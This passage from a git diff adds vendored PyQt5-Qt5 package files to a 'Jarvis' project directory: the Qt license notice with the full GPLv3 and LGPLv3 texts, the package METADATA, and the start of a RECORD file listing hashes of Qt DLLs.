and packages that meet a variety of needs. Commercial Qt license keeps your code proprietary where only you can control and monetize on your end product’s development, user experience and distribution. You also get great perks like additional functionality, productivity enhancing tools, world-class support and a close strategic relationship with The Qt Company to make sure your product and development goals are met. + +Qt has been created under the belief of open development and providing freedom and choice to developers. To support that, The Qt Company also licenses Qt under open source licenses, where most of the functionality is available under LGPLv3. It should be noted that the tools as well as some add-on components are available only under GPLv3. In order to preserve the true meaning of open development and uphold the spirit of free software, it is imperative that the rules and regulations of open source licenses are followed. If you use Qt under open-source licenses, you need to make sure that you comply with all the licenses of the components you use. + +Qt also contains some 3rd party components that are available under different open-source licenses. Please refer to the documentation for more details on 3rd party licenses used in Qt. + + +GPLv3 and LGPLv3 +---------------- + + GNU LESSER GENERAL PUBLIC LICENSE + + The Qt Toolkit is Copyright (C) 2017 The Qt Company Ltd. + Contact: https://www.qt.io/licensing + + You may use, distribute and copy the Qt GUI Toolkit under the terms of + GNU Lesser General Public License version 3, which supplements GNU General + Public License Version 3. Both of the licenses are displayed below. + +------------------------------------------------------------------------- + + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. + + +------------------------------------------------------------------------- + + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright © 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies of this + license document, but changing it is not allowed. + +This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + +0. Additional Definitions. + + As used herein, “this License†refers to version 3 of the GNU Lesser +General Public License, and the “GNU GPL†refers to version 3 of the +GNU General Public License. + + “The Library†refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An “Application†is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A “Combined Work†is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the “Linked +Versionâ€. + + The “Minimal Corresponding Source†for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The “Corresponding Application Code†for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + +1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + +2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort + to ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + +3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this + license document. + +4. Combined Works. + + You may convey a Combined Work under terms of your choice that, taken +together, effectively do not restrict modification of the portions of +the Library contained in the Combined Work and reverse engineering for +debugging such modifications, if you also do each of the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this + license document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of + this License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with + the Library. A suitable mechanism is one that (a) uses at run + time a copy of the Library already present on the user's + computer system, and (b) will operate properly with a modified + version of the Library that is interface-compatible with the + Linked Version. + + e) Provide Installation Information, but only if you would + otherwise be required to provide such information under section 6 + of the GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the Application + with a modified version of the Linked Version. (If you use option + 4d0, the Installation Information must accompany the Minimal + Corresponding Source and Corresponding Application Code. If you + use option 4d1, you must provide the Installation Information in + the manner specified by section 6 of the GNU GPL for conveying + Corresponding Source.) + +5. Combined Libraries. + + You may place library facilities that are a work based on the Library +side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities, conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of + it is a work based on the Library, and explaining where to find + the accompanying uncombined form of the same work. + +6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +as you received it specifies that a certain numbered version of the +GNU Lesser General Public License “or any later version†applies to +it, you have the option of following the terms and conditions either +of that published version or of any later version published by the +Free Software Foundation. If the Library as you received it does not +specify a version number of the GNU Lesser General Public License, +you may choose any version of the GNU Lesser General Public License +ever published by the Free Software Foundation. + +If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the Library. + diff --git a/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/METADATA b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/METADATA new file mode 100644 index 00000000..af89ec7f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/METADATA @@ -0,0 +1,17 @@ +Metadata-Version: 2.1 +Name: PyQt5-Qt5 +Version: 5.15.2 +Summary: The subset of a Qt installation needed by PyQt5. +Home-page: https://www.riverbankcomputing.com/software/pyqt/ +Author: Riverbank Computing Limited +Author-email: info@riverbankcomputing.com +License: LGPL v3 +Platform: Linux +Platform: macOS +Platform: Windows + +This package contains the subset of a Qt installation that is required by +PyQt5. It would normally be installed automatically by pip when +you install PyQt5. + +This package is licensed under the terms of the LGPL v3. diff --git a/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/RECORD b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/RECORD new file mode 100644 index 00000000..8ff4dd56 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/RECORD @@ -0,0 +1,1571 @@ +PyQt5/Qt5/bin/Qt5Bluetooth.dll,sha256=E2F9YRLDH5HY9pdx-t14GflX-9lXr-NOCQycReDf3zA,547824 +PyQt5/Qt5/bin/Qt5Core.dll,sha256=jS_0zpCW3czE9M1iwuQfyFTP0bDW6NKWZFp_X9SuVlo,6023664 +PyQt5/Qt5/bin/Qt5DBus.dll,sha256=GqcLEGoQyGlG4jyqn8dS3Bbin76AO7ofGrMNHGPuhSo,436720 +PyQt5/Qt5/bin/Qt5Designer.dll,sha256=gH4rOZBIvEguGpbxBmk4f18nVCyhsdjby66r5TBVdSo,4487152 +PyQt5/Qt5/bin/Qt5Gui.dll,sha256=Xn0tQbi5KogOg7jMDKFz9dphIYYEGGGWeH7hYAlWvh4,7008240 +PyQt5/Qt5/bin/Qt5Help.dll,sha256=6XaZe2FUA4QkN-RgU0Ev5XE3dENjHXvsmf9cLH4Apcw,428528 +PyQt5/Qt5/bin/Qt5Location.dll,sha256=4l1UcOvwV3Q-mkJzWKofE7ZhRC7dvWldIKxCGpfhmkA,1645552 +PyQt5/Qt5/bin/Qt5Multimedia.dll,sha256=GlmuKp_3aK1r-4iP490lROI48LKNqDzzdevYA85xPcQ,746480 +PyQt5/Qt5/bin/Qt5MultimediaWidgets.dll,sha256=FrgVSGOzq_yUBR4Q_u9QRrDWQ-bX3mLTJxCCp7MvUb0,102384 +PyQt5/Qt5/bin/Qt5Network.dll,sha256=TvNBrpMC55OHgCDwdAsJsPMcs4BAiml_dcaf29IPx6E,1340400 +PyQt5/Qt5/bin/Qt5Nfc.dll,sha256=JC_4rjgPZY4ioNLG18XO5t7IS-iXGWmQpoOQMqUEc_w,138224 +PyQt5/Qt5/bin/Qt5OpenGL.dll,sha256=DheUcERqFMNwYYLYj8leXAZpV8N1Le_dbTZJrod8h6I,321008 